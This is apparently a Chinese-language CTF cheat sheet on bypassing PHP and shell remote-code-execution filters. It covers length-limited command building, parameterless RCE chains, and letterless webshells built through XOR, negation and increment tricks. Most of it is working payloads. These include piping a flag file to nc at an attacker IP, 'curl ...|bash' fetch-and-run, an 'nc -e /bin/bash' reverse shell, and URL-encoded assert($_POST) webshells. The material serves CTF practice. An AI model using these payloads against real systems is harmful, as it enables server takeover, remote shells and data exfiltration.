RCE
限制长度
限长为7绕过
列题:

exec执行命令时无法回显,所以可以使用nc反弹出结果
1 2
| 期望执行的命令: cat flag|nc 192.168.134.128 7777 将cat flag执行的结果通过nc 提交到监听端口
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 执行的命令: >7777 >\ \\ >128\\ >134.\\ >168.\\ >192.\\ >c\ \\ >\|n\\ >flag\\ >t\ \\ >ca\\
ls -t>a
sh a
|
结果:

限长为5绕过
列题:

此时上一种方法不可行,ls -t>a 超过5字符
解决方法:更换期望执行的命令
1 2
| curl 192.168.134.128|bash 将从192.168.134.128上获取的数据交给bash执行
|
命令执行过程:

1 2 3 4
| 准备工作: 1.开启端口监听 nc -lvp 7777 2.创建index.html文件 nc 192.168.134.128 -e/bin/bash 3.开启http.server监听端口80 python3 -m http.server 80
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| (1)先构造ls -t>y : 创建文件ls\: >ls\\ 再创建文件_,并把"ls\"写入文件_ ls>_ 再创建其他文件 >\ \\ >-t\\ >\>y 用>>把所有文件名追加到文件_ ls>>_
此时 sh _ 可执行 ls -t>y
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 分解命令,创造文件(curl 192.168.134.128|bash): >bash >\|\\ >28\\ >1\\ >4.\\ >13\\ >8.\\ >16\\ >2.\\ >19\\ >\ \\ >rl\\ >cu\\
此时执行 sh _ (即ls -t>y) 再执行 sh y (即curl 192.168.134.128|bash)反弹shell
|
限长为4

ls>>_ 长度为5,上一种方法不再适用
- 1.构造ls -t>g
- 2.构造一个反弹shell
- 3.反弹回来的shell查看flag
dir:按列输出文件名,不换行
*:相当于 $(dir*) 可以把第一个文件名当作命令,第二个文件名当作参数执行
rev:可以反转文件每一行的内容
1 2 3 4
| 准备工作: 1.开启端口监听 nc -lvp 7777 2.创建index.html文件 nc 192.168.134.128 -e/bin/bash 3.开启http.server监听端口80 python3 -m http.server 80
|
1 2 3 4 5 6 7 8
| 构造ls -t>g: >g\> >ht- (在-t后加上一个h,不影响命令执行但可以改变排列顺序) >sl >dir *>v >rev *v>x *v表示模糊匹配rev v,将反转得到的ls -t>g写入x这个文件
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 构造反弹shell curl 192.168.134.128|bash 十进制 curl 0xC0A88680|bash 十六进制 >ash >b\ >\|\ >80\ >86\ >A8\ >C0\ >0x\ >\ \ >rl\ >cu\
sh x (即ls -t>g)
sh g(即curl 192.168.134.128|bash)
|
无参数
- HTTP请求标头
- 利用全局变量进行RCE
- 利用session
- 使用scandir()进行文件读取
请求头绕过(PHP7.3)
列题


getallheaders()函数介绍:获取所有头部信息 pos():把第一项值显示出来
1
| 可抓包修改头部信息为想要执行的命令进行命令执行:eval(pos(getallheaders()))
|

若getallheaders()无法使用,可以尝试apache_request-headers() (服务器为Apache)
全局变量RCE(PHP5/7)
get_defined_vars() 返回所有已定义变量的值,所组成的数组

1 2 3
| ?code=print_r(get_defined_vars()); 可以获取GET提交内容 ?code=print_r(end(get_defined_vars());&cmd=system('ls'); 获取system('ls'); ?code=eval(end(get_defined_vars());&cmd=system('ls'); 将print_r替换为eval执行命令
|

session RCE(PHP5)
session_start(): 启动新会话或者重用现有会话,成功开始会话返回True,反之返回False
1 2 3 4 5 6 7
| ?code=print_r(session_id(session_start())); 返回PHPSESSID的值
注意这里PHPSESSID不能直接改为命令,需要将命令编码为十六进制后再用hex2bin()十六进制解码后执行: ?code=eval(hex2bin(session_id(session_start()));
?code=show_source(session_id(session_start())); 将print_r()替换为show_source,PHPSESSID改为./flag读取文件
|
如图:其中PHPSESSID的值:73797374656d282763617420666c616727293b 是十六进制编码后的字符串:system('cat flag');

scandir读取
scandir():类似ls,在某文件路径下,把内容以列表形式显示出来
相关函数介绍:

法一:
1
| localeconv()函数得到一个第一个值为.的数组,用current()获取第一个值(.),scandir(.)获取当前目录下文件
|

print_r(scandir(current(localeconv()))); 获取当前目录下文件

1 2 3
| 观察到flag.php在数组最后,使用array_reverse()反转数组为flag.php为第一项,再次使用current()获得第一项的值(flag.php) ,也可以直接end()直接获取最后一项的值
即:print_r(current(array_reverse(scandir(current(localeconv())))));
|

1 2
| 再将print_r()改为show_source(),读取当前文件内容 show_source(current(array_reverse(scandir(current(localeconv())))));
|

法二:
1 2
| getcwd():获取当前文件路径 print_r(getcwd());
|

1 2
| 使用scandir()读取getcwd()获取的路径下的文件: print_r(scandir(getcwd()));
|

1 2
| 同样的: show_source(current(array_reverse(scandir(getcwd()))));
|

1 2
| dirname():上一级目录 当flag不在当前页面所在目录时,可用dirname()逐步切换到上级目录,再使用scandir()进行读取,但是此时无法使用show_source读取,应为此时的命令执行任然在当前目录,无法直接读取其他目录的文件
|

1 2
| 为了避免目录不同而造成的文件读取不成功,可以使用chdir()切换命令执行路径(相当于cd) print_r(chdir(dirname(getcwd())));
|

1 2
| 最终读取上级目录文件 show_source(end(scandir(dirname(chdir(dirname(getcwd()))))));
|

根目录下文件读取:
ord()和chr()函数只能对第一个字符进行转码,ord()编码,chr()解码
1 2 3 4 5 6
| print_r(array()); print(serialize()); 序列化 print_r(crypt(serialize(array()))); crypt单向字符串散列加密,结果中有可能出现斜线 (/编码后是47) print_r(chr(ord(strrev(crypt(serialize(array())))))); 此时通过不断提交获得/ print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); 再用scandir()读取根目录下文件
|

不断提交得到根目录下文件:

1 2 3 4 5 6 7 8 9
| 再使用array_flip()反转键值 print_r(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
再使用array_rand()得到随机的键名 print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array()))))))))); 不断点击得到flag的文件,也可以进行爆破
再使用show_source()读取文件 show_source(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
|
最终得到根目录下flag

无字母数字
异或运算
列题:


1 2 3 4 5 6 7 8
| 例如: phpinfo 利用脚本得到异或运算第一部分为:+(+).&/ 第二部分为:[@[@@@@ 则phpinfo 等价于 "+(+).&/"^"[@[@@@@";$_(); 但是此时不能直接命令执行,需要先利用变量赋值($_:因为要求无字母数字)后再调用,最后url编码得到payload $_="+(+).&/"^"[@[@@@@";$_(); url编码得: %24%5f%3d%22%2b%28%2b%29%2e%26%2f%22%5e%22%5b%40%5b%40%40%40%40%22%3b%24%5f%28%29%3b
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| assert($_POST['_']);
<?php $a='assert'; $b='_POST'; $c=$$b; $a($c['_']); ?>
_替换a,__替换b,___替换c,并异或运算后得到:
<?php $_="!((%)("^"@[[@[\\"; $__="!+/(("^"~{`{|"; $___=$$__; $_($___['_']); ?>
此时只需:?cmd=$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['_']); url编码: ?cmd=%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B'_'%5D)%3B POST提交所需命令即可: _=system('ls');
|

取反绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| ~(): 对括号内进行取反运算 <?php $a='assert'; $b='_POST'; $c=$$b; $a($c['_']); ?>
_替换a,__替换b,___替换c,并取反运算后得到:
<?php $_=~("%9e%8c%8c%9a%8d%8b"); $__=~("%a0%af%b0%ac%ab"); $___=$$__; $_($___['_']); ?>
此时只需: ?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___['_']); 不再需要url编码
POST提交所需命令: _=system('ls');
|

自增绕过
1 2 3 4 5 6 7 8
| ++ 自增运算 如:$a = A; ++$a = B; 只要获得A,就能自增获得B,C,D...
获取A: <?php $_=[].''; 此时$_=Array echo $_[0]; 此时获得A (但是对于无字母数字0不能写入,此时可以用一个不存在的变量代替0) -> $_[$___]; ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| PHP5: <?php $a='assert'; $b='_POST'; $c=$$b; $a($c['_']); ?>
$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$$____;$_($__[_]); 再url编码: %24_%3D%5B%5D.''%3B%24___%3D%24_%5B%24__%5D%3B%24__%3D%24___%3B%24_%3D%24___%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24____%20%3D%20%22_%22%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24%24____%3B%24_(%24__%5B_%5D)%3B 再POST传命令: _=system('ls');
|

特殊符号过滤
下划线过滤:
列题:

1 2 3 4 5 6 7 8 9
| 短标签: <?php phpinfo(); ?> 等价于 <?=phpinfo();?>
GET方式提交: ?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> (?>闭合前面标签) ?><?=`$_GET[%a0]`?> 取反
|

下划线和$符号过滤
列题:

1 2
| ?cmd=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%93%8c); (call_user_func)(system,ls,'')取反
|

~……·&|过滤
列题:

^ ~均被过滤,所以只能使用自增绕过
1 2
| 由于分号被过滤了,所以使用短标签代替自增payload里的分号 如 $_=[]; 替换为 <?=$_=[]?>
|
